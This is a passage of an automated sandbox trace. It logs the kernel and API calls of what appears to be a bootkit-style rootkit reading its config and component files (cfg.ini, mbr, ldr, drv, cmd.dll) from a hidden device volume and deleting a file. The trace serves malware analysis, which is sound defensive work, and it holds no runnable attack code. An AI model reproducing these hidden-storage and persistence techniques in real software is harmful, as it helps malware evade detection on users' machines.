Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.337] IdePortDispatch () returned 0x103 [0122.337] KeWaitForMutexObject () returned 0x0 [0122.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.337] KeLeaveCriticalRegion () [0122.337] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.337] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.337] KeEnterCriticalRegion () [0122.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.337] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6f000 [0122.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.337] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.337] IdePortDispatch () returned 0x103 [0122.338] KeWaitForMutexObject () returned 0x0 [0122.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.338] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.338] IdePortDispatch () returned 0x103 [0122.338] KeWaitForMutexObject () returned 0x0 [0122.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.338] KeLeaveCriticalRegion () [0122.338] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.338] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.338] KeEnterCriticalRegion () [0122.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.338] KeLeaveCriticalRegion () [0122.339] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.339] KeEnterCriticalRegion () [0122.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.339] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.339] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.339] KeLeaveCriticalRegion () [0122.339] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.339] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.339] KeEnterCriticalRegion () [0122.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.339] ExFreePoolWithTag (P=0xfffffa8003be4aa0, Tag=0x0) [0122.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.339] KeLeaveCriticalRegion () [0122.339] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.339] ReleaseMutex (hMutex=0xf0) returned 1 [0122.339] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.339] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.339] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.339] KeEnterCriticalRegion () [0122.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.339] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.339] IdePortDispatch () returned 0x103 [0122.339] KeWaitForMutexObject () returned 0x0 [0122.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.339] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.339] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.339] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.339] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.339] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4180 [0122.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.339] KeLeaveCriticalRegion () [0122.339] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.339] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.340] KeEnterCriticalRegion () [0122.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.340] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.340] KeLeaveCriticalRegion () [0122.340] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.340] KeEnterCriticalRegion () [0122.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.340] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.340] IdePortDispatch () returned 0x103 [0122.340] KeWaitForMutexObject () returned 0x0 [0122.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.340] KeLeaveCriticalRegion () [0122.340] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.340] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.340] KeEnterCriticalRegion () [0122.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.340] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c70000 [0122.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.340] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.340] IdePortDispatch () returned 0x103 [0122.340] KeWaitForMutexObject () returned 0x0 [0122.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.341] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.341] IdePortDispatch () returned 0x103 [0122.341] KeWaitForMutexObject () returned 0x0 [0122.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.341] KeLeaveCriticalRegion () [0122.341] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.341] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.341] KeEnterCriticalRegion () [0122.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.341] KeLeaveCriticalRegion () [0122.341] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.341] KeEnterCriticalRegion () [0122.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.341] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.341] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4700, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.341] KeLeaveCriticalRegion () [0122.341] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.341] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.342] KeEnterCriticalRegion () [0122.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.342] ExFreePoolWithTag (P=0xfffffa8003be4180, Tag=0x0) [0122.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.342] KeLeaveCriticalRegion () [0122.342] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.342] ReleaseMutex (hMutex=0xf0) returned 1 [0122.342] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.342] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.342] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.342] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.342] KeEnterCriticalRegion () [0122.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.342] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.342] IdePortDispatch () returned 0x103 [0122.342] KeWaitForMutexObject () returned 0x0 [0122.342] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.342] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.342] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.342] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.342] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.342] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.342] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.342] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.342] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.342] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.342] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.342] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.342] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.342] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.342] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.342] KeLeaveCriticalRegion () [0122.342] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.342] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.343] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.343] KeEnterCriticalRegion () [0122.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.343] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.343] IdePortDispatch () returned 0x103 [0122.343] KeWaitForMutexObject () returned 0x0 [0122.343] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.343] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.343] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.343] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.343] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.343] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.343] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.343] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.343] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.343] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.343] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.343] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.343] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.343] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.343] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.343] KeLeaveCriticalRegion () [0122.343] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.343] ReleaseMutex (hMutex=0x100) returned 1 [0122.343] Sleep (dwMilliseconds=0x2bf20) [0122.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c1f57f0, dwHighDateTime=0x1d24fa4)) [0122.350] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.350] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.350] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.350] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.350] KeEnterCriticalRegion () [0122.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.351] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.351] IdePortDispatch () returned 0x103 [0122.351] KeWaitForMutexObject () returned 0x0 [0122.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.351] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.351] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.351] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.351] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.351] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4aa0 [0122.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.351] KeLeaveCriticalRegion () [0122.351] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.351] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.351] KeEnterCriticalRegion () [0122.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.351] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.351] KeLeaveCriticalRegion () [0122.351] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.351] KeEnterCriticalRegion () [0122.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.351] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.351] IdePortDispatch () returned 0x103 [0122.351] KeWaitForMutexObject () returned 0x0 [0122.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.351] KeLeaveCriticalRegion () [0122.351] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.352] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.352] KeEnterCriticalRegion () [0122.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.352] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c73000 [0122.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.352] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.352] IdePortDispatch () returned 0x103 [0122.352] KeWaitForMutexObject () returned 0x0 [0122.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.352] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.352] IdePortDispatch () returned 0x103 [0122.352] KeWaitForMutexObject () returned 0x0 [0122.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.352] KeLeaveCriticalRegion () [0122.352] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.353] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.353] KeEnterCriticalRegion () [0122.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.353] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.353] KeLeaveCriticalRegion () [0122.353] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.353] KeEnterCriticalRegion () [0122.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.353] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.353] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.353] KeLeaveCriticalRegion () [0122.353] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.353] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.353] KeEnterCriticalRegion () [0122.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.353] ExFreePoolWithTag (P=0xfffffa8003be4aa0, Tag=0x0) [0122.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.353] KeLeaveCriticalRegion () [0122.353] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.353] ReleaseMutex (hMutex=0xf0) returned 1 [0122.353] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.353] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, 